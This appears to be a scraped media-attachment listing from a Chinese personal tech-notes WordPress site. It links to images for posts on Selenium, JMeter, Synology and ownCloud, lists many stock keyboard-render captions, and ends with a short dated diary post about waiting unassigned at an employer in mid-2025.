https://www.saiita.com.cn/note/computer/blog/wordpress/wpjam%e6%8f%92%e4%bb%b6%e9%85%8d%e7%bd%ae%e5%8f%91%e4%bf%a1%e8%ae%be%e7%bd%ae%ef%bc%88qq%e9%82%ae%e7%ae%b1%ef%bc%89.html/attachment/image-10-3 ### image-9 - **URL**: https://www.saiita.com.cn/note/computer/blog/wordpress/erphpdown%e6%8f%92%e4%bb%b6%e8%99%8e%e7%9a%ae%e6%a4%92%e6%94%af%e4%bb%98%e9%83%a8%e7%bd%b2.html/attachment/image-9-3 ### image-8 - **URL**: https://www.saiita.com.cn/note/computer/blog/wordpress/erphpdown%e6%8f%92%e4%bb%b6%e8%99%8e%e7%9a%ae%e6%a4%92%e6%94%af%e4%bb%98%e9%83%a8%e7%bd%b2.html/attachment/image-8-3 ### image-7 - **URL**: https://www.saiita.com.cn/note/software_test/%e8%a7%a3%e5%86%b3seleniumeclips%e6%8a%a5%ef%bc%9aexception-in-thread-main-org-openqa-selenium-sessionnotcreatedexception-unexpected-error-launching-internet-explorer-protected-mode-settings-ar.html/attachment/image-7-3 ### image-6 - **URL**: https://www.saiita.com.cn/image-6-3 ### image-5 - **URL**: https://www.saiita.com.cn/image-5-3 ### image-4 - **URL**: https://www.saiita.com.cn/image-4-3 ### image-3 - **URL**: https://www.saiita.com.cn/image-3-3 ### image-2 - **URL**: https://www.saiita.com.cn/note/computer/operating_system/ubuntu/%e5%ad%90%e5%9f%9f%e5%90%8d%e9%87%8d%e5%ae%9a%e5%90%91%e5%88%b0%e4%b8%bb%e5%9f%9f%e5%90%8d%ef%bc%88nginx%ef%bc%89.html/attachment/image-2-4 ### image-1 - **URL**: https://www.saiita.com.cn/note/software_test/seleniumjavaeclipse%e7%8e%af%e5%a2%83%e9%83%a8%e7%bd%b2.html/attachment/image-1-3 ### image - **URL**: https://www.saiita.com.cn/note/software_test/seleniumjavaeclipse%e7%8e%af%e5%a2%83%e9%83%a8%e7%bd%b2.html/attachment/image-20 ### 1582962409-275_170 - **URL**: https://www.saiita.com.cn/1582962409-275_170 ### image-19 - **URL**: https://www.saiita.com.cn/note/computer/computer_language/java/jmeter%e4%b8%8b%e8%bd%bd%e8%bf%90%e8%a1%8c.html/attachment/image-19 ### image-18 - **URL**: https://www.saiita.com.cn/note/computer/computer_language/java/jmeter%e4%b8%8b%e8%bd%bd%e8%bf%90%e8%a1%8c.html/attachment/image-18 ### image-17 - **URL**: https://www.saiita.com.cn/note/computer/computer_language/java/jmeter%e4%b8%8b%e8%bd%bd%e8%bf%90%e8%a1%8c.html/attachment/image-17 ### image-16 - **URL**: https://www.saiita.com.cn/note/computer/computer_language/java/jdk%e7%8e%af%e5%a2%83%e9%83%a8%e7%bd%b2.html/attachment/image-16 ### image-15 - **URL**: https://www.saiita.com.cn/note/computer/computer_language/java/jdk%e7%8e%af%e5%a2%83%e9%83%a8%e7%bd%b2.html/attachment/image-15 ### image-14 - **URL**: https://www.saiita.com.cn/note/computer/computer_language/java/jdk%e7%8e%af%e5%a2%83%e9%83%a8%e7%bd%b2.html/attachment/image-14-2 ### image-13 - **URL**: https://www.saiita.com.cn/note/computer/computer_language/java/jdk%e7%8e%af%e5%a2%83%e9%83%a8%e7%bd%b2.html/attachment/image-13-2 ### image-12 - **URL**: https://www.saiita.com.cn/note/computer/software/nextcloud/%e5%ae%9d%e5%a1%94owncloudcollabora-office-%e6%96%87%e6%a1%a3%e5%9c%a8%e7%ba%bf%e6%93%8d%e4%bd%9c.html/attachment/image-12-2 ### image-11 - **URL**: https://www.saiita.com.cn/note/computer/software/nextcloud/%e5%ae%9d%e5%a1%94owncloudcollabora-office-%e6%96%87%e6%a1%a3%e5%9c%a8%e7%ba%bf%e6%93%8d%e4%bd%9c.html/attachment/image-11-2 ### image-10 - **URL**: https://www.saiita.com.cn/image-10-2 ### image-9 - **URL**: https://www.saiita.com.cn/note/computer/operating_system/ubuntu/%e5%ae%9d%e5%a1%94-%e6%90%ad%e5%bb%ba%e7%a6%85%e9%81%93.html/attachment/image-9-2 ### image-8 - **URL**: https://www.saiita.com.cn/note/computer/operating_system/ubuntu/%e5%ae%9d%e5%a1%94-%e6%90%ad%e5%bb%ba%e7%a6%85%e9%81%93.html/attachment/image-8-2 ### image-7 - **URL**: https://www.saiita.com.cn/note/computer/operating_system/ubuntu/%e5%ae%9d%e5%a1%94-%e6%90%ad%e5%bb%ba%e7%a6%85%e9%81%93.html/attachment/image-7-2 ### image-6 - **URL**: https://www.saiita.com.cn/note/computer/operating_system/ubuntu/%e5%ae%9d%e5%a1%94-%e6%90%ad%e5%bb%ba%e7%a6%85%e9%81%93.html/attachment/image-6-2 ### image-5 - **URL**: https://www.saiita.com.cn/note/computer/operating_system/ubuntu/%e5%ae%9d%e5%a1%94-%e6%90%ad%e5%bb%ba%e7%a6%85%e9%81%93.html/attachment/image-5-2 ### 1582642192-180_170 - **URL**: https://www.saiita.com.cn/1582642192-180_170 ### 1582641468-1920_680 - **URL**: https://www.saiita.com.cn/1582641468-1920_680 ### image-4 - **URL**: https://www.saiita.com.cn/note/computer/windows10%e8%ae%be%e7%bd%ae%e6%98%be%e7%a4%ba%e5%99%a8%e5%88%b7%e6%96%b0%e9%a2%91%e7%8e%87.html/attachment/image-4-2 ### image-3 - **URL**: https://www.saiita.com.cn/note/computer/windows10%e8%ae%be%e7%bd%ae%e6%98%be%e7%a4%ba%e5%99%a8%e5%88%b7%e6%96%b0%e9%a2%91%e7%8e%87.html/attachment/image-3-2 ### image-2 - **URL**: https://www.saiita.com.cn/note/computer/windows10%e8%ae%be%e7%bd%ae%e6%98%be%e7%a4%ba%e5%99%a8%e5%88%b7%e6%96%b0%e9%a2%91%e7%8e%87.html/attachment/image-2-3 ### image-1 - **URL**: https://www.saiita.com.cn/note/computer/%e9%9b%b7%e5%85%8b%e6%b2%99%e5%9b%ba%e6%80%81%e7%a1%ac%e7%9b%98lexar-ssd-dash%e8%bd%af%e4%bb%b6%e4%b8%8b%e8%bd%bd%e5%9c%b0%e5%9d%80.html/attachment/image-1-2 ### image - **URL**: https://www.saiita.com.cn/image-14 ### image-2 - **URL**: https://www.saiita.com.cn/note/computer/synology/%e7%be%a4%e6%99%96218-%e5%a6%82%e4%bd%95%e6%b7%bb%e5%8a%a0%e5%ae%89%e8%a3%858g%e5%86%85%e5%ad%98%e6%9d%a1.html/attachment/image-2-2 ### IMG_6265 - **URL**: https://www.saiita.com.cn/note/computer/synology/%e7%be%a4%e6%99%96218-%e5%a6%82%e4%bd%95%e6%b7%bb%e5%8a%a0%e5%ae%89%e8%a3%858g%e5%86%85%e5%ad%98%e6%9d%a1.html/attachment/img_6265 ### IMG_6264 - **URL**: https://www.saiita.com.cn/note/computer/synology/%e7%be%a4%e6%99%96218-%e5%a6%82%e4%bd%95%e6%b7%bb%e5%8a%a0%e5%ae%89%e8%a3%858g%e5%86%85%e5%ad%98%e6%9d%a1.html/attachment/img_6264 ### Social network concept: Thumb Up on computer keyboard background - **URL**: https://www.saiita.com.cn/social-network-concept-thumb-up-on-computer-keyboard-background - **Caption**: Social network concept: computer keyboard with Thumb Up icon on enter button background, 3d render ### Timeline concept: Alarm Clock on computer keyboard background - **URL**: https://www.saiita.com.cn/timeline-concept-alarm-clock-on-computer-keyboard-background - **Caption**: Timeline concept: computer keyboard with Alarm Clock icon on enter button background, 3d render ### 1578194166-t4518561310409728 - **URL**: https://www.saiita.com.cn/1578194166-t4518561310409728 ### Business concept: Business People and Team on computer keyboard background - **URL**: https://www.saiita.com.cn/business-concept-business-people-and-team-on-computer-keyboard-background - **Caption**: Business concept: computer keyboard with Business People icon and word Team on enter button background, 3d render ### Finance concept: Business People and Teamwork on computer keyboard background - **URL**: https://www.saiita.com.cn/finance-concept-business-people-and-teamwork-on-computer-keyboard-background - **Caption**: Finance concept: computer keyboard with Business People icon and word Teamwork on enter button background, 3d render ### Business concept: E-business on computer keyboard background - **URL**: https://www.saiita.com.cn/business-concept-e-business-on-computer-keyboard-background - **Caption**: Business concept: computer keyboard with word E-business on enter button background, 3d render ### Business concept: E-commerce on computer keyboard background - **URL**: https://www.saiita.com.cn/business-concept-e-commerce-on-computer-keyboard-background-2 - **Caption**: Business concept: computer keyboard with word E-commerce on enter button background, 3d render ### Business concept: E-commerce on computer keyboard background - **URL**: https://www.saiita.com.cn/business-concept-e-commerce-on-computer-keyboard-background - **Caption**: Business concept: computer keyboard with word E-commerce on enter button background, 3d render ### Online reservation keyboard key from top view - **URL**: https://www.saiita.com.cn/online-reservation-keyboard-key-from-top-view-2 - **Caption**: Online reservation keyboard key top view. Render Illustration. ### Online reservation keyboard key from top view - **URL**: https://www.saiita.com.cn/online-reservation-keyboard-key-from-top-view - **Caption**: Online reservation keyboard key top view. Render Illustration. ### Online reservation keyboard key - **URL**: https://www.saiita.com.cn/online-reservation-keyboard-key - **Caption**: Online reservation keyboard key. Render Illustration. ### Free shipping key - **URL**: https://www.saiita.com.cn/free-shipping-key - **Caption**: Free shipping key. Render illustration. ### Blue like us button - **URL**: https://www.saiita.com.cn/blue-like-us-button - **Caption**: Blue like us button on keyboard close-up ### Business e-commerce icon on computer keyboard button - **URL**: https://www.saiita.com.cn/business-e-commerce-icon-on-computer-keyboard-button-8 - **Caption**: Business e-commerce icon on computer keyboard button ### Business e-commerce icon on computer keyboard button - **URL**: https://www.saiita.com.cn/business-e-commerce-icon-on-computer-keyboard-button-7 - **Caption**: Business e-commerce icon on computer keyboard button ### Business e-commerce icon on computer keyboard button - **URL**: https://www.saiita.com.cn/business-e-commerce-icon-on-computer-keyboard-button-6 - **Caption**: Business e-commerce icon on computer keyboard button ### Social media icon on computer keyboard - **URL**: https://www.saiita.com.cn/social-media-icon-on-computer-keyboard - **Caption**: Social media icon on computer keyboard ### Business e-commerce icon on computer keyboard button - **URL**: https://www.saiita.com.cn/business-e-commerce-icon-on-computer-keyboard-button-5 - **Caption**: Business e-commerce icon on computer keyboard button ### Business e-commerce icon on computer keyboard button - **URL**: https://www.saiita.com.cn/business-e-commerce-icon-on-computer-keyboard-button-4 - **Caption**: Business e-commerce icon on computer keyboard button ### Business e-commerce icon on computer keyboard button - **URL**: https://www.saiita.com.cn/business-e-commerce-icon-on-computer-keyboard-button-3 - **Caption**: Business e-commerce icon on computer keyboard button ### Business e-commerce icon on computer keyboard button - **URL**: https://www.saiita.com.cn/business-e-commerce-icon-on-computer-keyboard-button-2 - **Caption**: Business e-commerce icon on computer keyboard button ### Business e-commerce icon on computer keyboard button - **URL**: https://www.saiita.com.cn/business-e-commerce-icon-on-computer-keyboard-button - **Caption**: Business e-commerce icon on computer keyboard button ### Web design concept: Mouse Cursor and Blog on computer keyboard b - **URL**: https://www.saiita.com.cn/web-design-concept-mouse-cursor-and-blog-on-computer-keyboard-b - **Caption**: Web design concept: computer keyboard with Mouse Cursor icon and word Blog, selected focus on enter button, 3d render ### image - **URL**: https://www.saiita.com.cn/note/computer/synology/%e7%be%a4%e6%99%96%e6%b7%bb%e5%8a%a0%e8%90%a4%e7%9f%b3%e6%91%84%e5%83%8f%e5%a4%b4.html/attachment/image-13 ### 1577864691-9BD5CBCE-4723-43DD-985B-817B791EFF86 - **URL**: https://www.saiita.com.cn/1577864691-9bd5cbce-4723-43dd-985b-817b791eff86 ### image-12 - **URL**: https://www.saiita.com.cn/note/computer/synology/%e7%be%a4%e6%99%96%e6%b7%bb%e5%8a%a0%e8%90%a4%e7%9f%b3%e6%91%84%e5%83%8f%e5%a4%b4.html/attachment/image-12 ### image-11 - **URL**: https://www.saiita.com.cn/note/computer/synology/%e7%be%a4%e6%99%96%e6%b7%bb%e5%8a%a0%e8%90%a4%e7%9f%b3%e6%91%84%e5%83%8f%e5%a4%b4.html/attachment/image-11 ### image-10 - **URL**: https://www.saiita.com.cn/note/computer/synology/%e7%be%a4%e6%99%96%e6%b7%bb%e5%8a%a0%e8%90%a4%e7%9f%b3%e6%91%84%e5%83%8f%e5%a4%b4.html/attachment/image-10 ### image-9 - **URL**: https://www.saiita.com.cn/note/computer/synology/%e7%be%a4%e6%99%96%e6%b7%bb%e5%8a%a0%e8%90%a4%e7%9f%b3%e6%91%84%e5%83%8f%e5%a4%b4.html/attachment/image-9 ### image-8 - **URL**: https://www.saiita.com.cn/note/computer/software/owncloud/%e8%a7%a3%e5%86%b3%e5%88%9a%e5%ae%89%e8%a3%85owncloud%e5%bc%82%e5%b8%b8%e4%bf%a1%e6%81%af.html/attachment/image-8 ### image-7 - **URL**: https://www.saiita.com.cn/note/computer/software/owncloud/%e8%a7%a3%e5%86%b3%e5%88%9a%e5%ae%89%e8%a3%85owncloud%e5%bc%82%e5%b8%b8%e4%bf%a1%e6%81%af.html/attachment/image-7 ### image-6 - **URL**: https://www.saiita.com.cn/note/computer/software/snipaste/snipaste%e6%88%aa%e5%9b%be%e8%bd%af%e4%bb%b6.html/attachment/image-6 ### image-5 - **URL**: https://www.saiita.com.cn/note/computer/synology/%e7%be%a4%e6%99%96%e5%85%b3%e8%81%94%e9%98%bf%e9%87%8c%e4%ba%91oss.html/attachment/image-5 ### image-4 - **URL**: https://www.saiita.com.cn/note/computer/synology/%e7%be%a4%e6%99%96%e5%85%b3%e8%81%94%e9%98%bf%e9%87%8c%e4%ba%91oss.html/attachment/image-4 ### image-3 - **URL**: https://www.saiita.com.cn/note/computer/blog/wordpress/%e4%bd%bf%e7%94%a8%e8%b0%b7%e6%ad%8c%e6%b5%8f%e8%a7%88%e5%99%a8%e4%b8%8d%e8%83%bd%e4%b8%8a%e4%bc%a0%e5%9b%be%e7%89%87.html/attachment/image-3 ### image-2 - **URL**: https://www.saiita.com.cn/note/computer/blog/wordpress/%e4%bd%bf%e7%94%a8%e8%b0%b7%e6%ad%8c%e6%b5%8f%e8%a7%88%e5%99%a8%e4%b8%8d%e8%83%bd%e4%b8%8a%e4%bc%a0%e5%9b%be%e7%89%87.html/attachment/image-2 ### Marketing concept: computer keyboard with Promotion - **URL**: https://www.saiita.com.cn/marketing-concept-computer-keyboard-with-promotion - **Caption**: Marketing concept: computer keyboard with word Promotion, selected focus on enter button, 3d render ### Cryptocurrency concept: Ethereum Mining on computer keyboard background - **URL**: https://www.saiita.com.cn/cryptocurrency-concept-ethereum-mining-on-computer-keyboard-background - **Caption**: Cryptocurrency concept: computer keyboard with word Ethereum Mining, selected focus on enter button background, 3D rendering ### Web development concept: Mouse Cursor and Web on computer keyboard background - **URL**: https://www.saiita.com.cn/web-development-concept-mouse-cursor-and-web-on-computer-keyboard-background - **Caption**: Web development concept: computer keyboard with Mouse Cursor icon and word Web, selected focus on enter button, 3d render ### Web development concept: Mouse Cursor and Mobile Web on computer - **URL**: https://www.saiita.com.cn/web-development-concept-mouse-cursor-and-mobile-web-on-computer - **Caption**: Web development concept: computer keyboard with Mouse Cursor icon and word Mobile Web, selected focus on enter button, 3d render ### Data concept: Gears and Big Data on computer keyboard background - **URL**: https://www.saiita.com.cn/data-concept-gears-and-big-data-on-computer-keyboard-background - **Caption**: Data concept: computer keyboard with Gears icon and word Big Data, selected focus on enter button, 3d render ### image - **URL**: https://www.saiita.com.cn/note/computer/software/alibaba_cloud/%e5%ae%9d%e5%a1%94%e8%ae%be%e7%bd%ae%e9%98%bf%e9%87%8c%e4%ba%91oss.html/attachment/image ### Happy new financial year 2016 - **URL**: https://www.saiita.com.cn/happy-new-financial-year-2016 - **Caption**: Three dimensional render of a modern keyboard with 2016 and currencies ### Colorful, Triangular low poly, mosaic abstract pattern background, Vector polygonal illustration graphic, Creative Business, Origami style with gradient, racio 1:1,777 Ultra HD, 8K - **URL**: https://www.saiita.com.cn/colorful-triangular-low-poly-mosaic-abstract-pattern-background-vector-polygonal-illustration-graphic-creative-business-origami-style-with-gradient-racio-11777-ultra-hd-8k - **Caption**: Colorful, Triangular low poly, mosaic pattern background, Vector polygonal illustration graphic, Origami style with gradient, racio 1:1,777 Ultra HD, 8K ## 帖子 ### 软通动力,待岗中....... 2025年6月30日:软通动力待岗第九周! 2025年7月01日:又换位置了,从会议室换到工位;然后又有三人出项,坐在会议室; 2025年7月02日:又换位置了,换到了隔壁,坐在了打印机边上;